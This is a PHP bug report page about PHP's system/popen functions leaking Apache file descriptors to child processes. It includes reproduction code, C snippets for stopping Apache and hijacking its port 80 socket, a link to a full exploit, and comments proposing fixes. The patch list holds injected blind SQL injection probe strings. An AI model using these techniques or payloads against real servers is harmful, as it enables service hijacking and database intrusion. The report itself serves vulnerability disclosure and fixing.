|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2006-09-21 19:15 UTC] dimmoborgir at gmail dot com
Description:
------------
The problem is in exec, system, popen (and similar) PHP functions. The fact is that PHP doesn't sanitize opened file descriptors before executing a program.
These functions use popen() C function to spawn a program.
popen() is equal to the successive execution of
pipe(), fork(), dup2(), exec().
These functions keep all opened handles. (Except STDOUT, which is replaced to pipe).
This bug makes php-includes vulnerabilities more dangerous.
If the server uses mod_php, and we can execute shell commands via system(), then we can, e.g. stop apache processes (by sending a SIGSTOP), and to listen and process connections on 80 port (opened by Apache, and transmitted to us by PHP). Also we can write anything to its errorlog.
Reproduce code:
---------------
Some steps to reproduce a bug.
First. Simple program to wait :)
# cat test1.c
int main()
{
setsid( );
sleep( 10000 );
}
#gcc -o test1 test1.c
Ok. Let's make a php script:
#cat a.php
<?php
system( "./test1" );
?>
Request: http://127.0.0.1/a.php
Good. Now see opened handles:
#lsof | grep test1
test1 cwd DIR /usr/local/apache2/htdocs
test1 rtd DIR /
test1 txt REG /var/www/html/test1
test1 mem REG /lib/tls/libc-2.3.5.so
test1 mem REG /lib/ld-2.3.5.so
test1 mem REG [stack] (stat: No such file or directory)
test1 0r CHR /dev/null
test1 1w FIFO pipe
test1 2w REG /usr/local/apache2/logs/error_log
test1 3u IPv4 *:http (LISTEN)
test1 4r FIFO pipe
test1 5w FIFO pipe
test1 6w REG /usr/local/apache2/logs/error_log
test1 7w REG /usr/local/apache2/logs/access_log
test1 8r 0000 unknown inode type
test1 9u IPv4 10.0.0.2:http->10.0.0.1:2134 (CLOSE_WAIT)
So, our test1 has apache's handles. Now we can do something like that:
int p = getsid( 0 ); // get current Process Group Id
setsid( ); // become session leader
kill( -p, SIGSTOP ); // good night, Apache Process Group :)
And after that:
for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle
if ( listen (sock, 10) == 0 ) break;
Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c
Expected result:
----------------
I didn't expected program, executed via system() PHP function, to have all opened descriptors of Apache Web Server (including 80 port, error and access logs, opened connections, etc...)
Actual result:
--------------
Our PHP program has all descriptors of Apache Server.
PatchesWymSkPhN (last revision 2024-06-26 17:55 UTC by testing at example dot com)QPbmCRVM (last revision 2024-04-28 23:06 UTC by testing at example dot com) pHqghUme (last revision 2024-03-18 20:42 UTC by testing at example dot com) WzdALfCz (last revision 2024-01-11 15:10 UTC by testing at example dot com) tsSLAueP (last revision 2023-12-27 15:10 UTC by testing at example dot com) if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if (last revision 2020-04-18 03:56 UTC by sample at email dot tst) Pull Requests
Pull requests:
HistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 07:00:01 2025 UTC |
In linux, this should fix the issue for mail() diff --git a/ext/standard/mail.c b/ext/standard/mail.c index ab65f16..a8b3bf5 100644 --- a/ext/standard/mail.c +++ b/ext/standard/mail.c @@ -288,8 +288,12 @@ PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; +#if defined(__linux__) && defined(__GLIBC__) && __GLIBC_PREREQ(2, 9) + sendmail = popen(sendmail_cmd, "we"); +#else sendmail = popen(sendmail_cmd, "w"); #endif +#endif if (extra_cmd != NULL) { efree (sendmail_cmd); } Note that you need glibc 2.9 though.we solved by passing the forked/exec'd process through a bash shell and closing all te file descriptors: eg: (note this is for FreeBSD using daemon, but "nohup" should work on linux) daemon /usr/bin/env bash -c 'exec 0<&-; exec 1> /path/to/error/log; exec 2> /path/to/stdout/log; eval exec {3..255}\>\&-; /usr/bin/env php /path/to/script args...' Note we find it crucial to redirect and NOT CLOSE STDOUT and STDERR because otherwise you will never find out if sth is wrong with forked process. You should ensure that they exist and are writable before forking. The trick with eval exec {3..255}\>\&-; is from here: http://blog.n01se.net/blog-n01se-net-p-145.html This works for us in a php-fastcgi situation. the fastcgi-socket and the mysql socket are both closed successfully. the new process opens its own mysql socket just fine... I suspect this is similar to what Jeroen's closedexec.c does, but no need for a c program. Everyone should have bash. If you redirect the stdout of above fork command to a file and check the contents of that daemon gives you nice messages, just append 2> /path/to/temp/stderr/file/for/daemon/messages to the above command. We have the construction of the fork command wrapped in a simple function, like so: $exec_cmd = ((php_uname('s') == 'FreeBSD') ? 'daemon' : 'nohup') . // try to be OS agnostic, daemon = fork, setguid etc, but don't close stderr with -f ' /usr/bin/env bash -c ' . // wrap actual call to new php process in a shell (use env!), so // must escape here in case the already escaped args contain // specials chars like single quotes (which the will!) escapeshellarg( 'exec 0<&-; ' . // close STDIN 'exec 1> ' . escapeshellarg($app_log) . '; ' . // STDOUT > app_log 'exec 2> ' . escapeshellarg($error_log) . '; ' . // STDOUT > error_log 'eval exec {3..255}\>\&-; ' . // we can close all other fds (fastcgi, mysql, etc)..eval trick! '/usr/bin/env php ' . BASE . $cmd . ' ' . // call php (with env!) don't rely on shebang or exec perms join(' ', // add args separated by spaces array_map(function ($arg) { return escapeshellarg($arg); }, $args)) // after escaping them ); Sorry about the formatting...This same issue appears to happen with PHP-FPM (I am using nginx as the webserver, but that shouldn't matter). PHP version 5.4.22 on Linux (CentOS 6.5) Quick example: <?php $p = popen('/bin/bash -c "sleep 60"','w'); pclose($p); ?> Now find the child process (ps aux | grep sleep) and lsof -p XXX -n: sleep 13443 nobody 0r FIFO 0,8 0t0 10237775 pipe sleep 13443 nobody 1u CHR 1,3 0t0 3920 /dev/null sleep 13443 nobody 2u CHR 1,3 0t0 3920 /dev/null sleep 13443 nobody 4u IPv4 10236693 0t0 TCP 127.0.0.1:cslistener->127.0.0.1:53151 (ESTABLISHED) sleep 13443 nobody 9u REG 0,9 0 3918 [eventpoll] FD 4 there is the TCP connection from the PHP worker process to the web server.